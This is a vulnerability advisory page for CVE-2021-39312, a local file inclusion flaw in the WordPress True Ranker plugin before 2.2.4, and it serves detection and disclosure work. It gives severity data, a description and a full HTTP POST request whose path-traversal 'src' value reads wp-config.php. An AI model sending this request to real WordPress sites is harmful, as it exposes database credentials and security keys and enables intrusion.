🔙 목록으로 돌아가기

CVE-2021-39312: WordPress True Ranker <2.2.4 - Local File Inclusion

TitleWordPress True Ranker <2.2.4 - Local File Inclusion
AuthorDhiyaneshDK
SeverityHigh
ImpactUnauthenticated attackers can read sensitive configuration files like wp-config.php via local file inclusion, exposing database credentials and WordPress security keys.
RemediationFixed in version 2.2.4
CVSS Score7.5
EPSS Score0.91056
CVE IDCVE-2021-39312
CWE IDCWE-22
Tags cve cve2021 unauth lfr wpscan wp-plugin lfi wp wordpress trueranker vkev vuln

🔍 Vulnerability Description

WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.

🌐 HTTP Request

POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0
Connection: close
Content-Length: 93
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip

src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39312.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39312.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A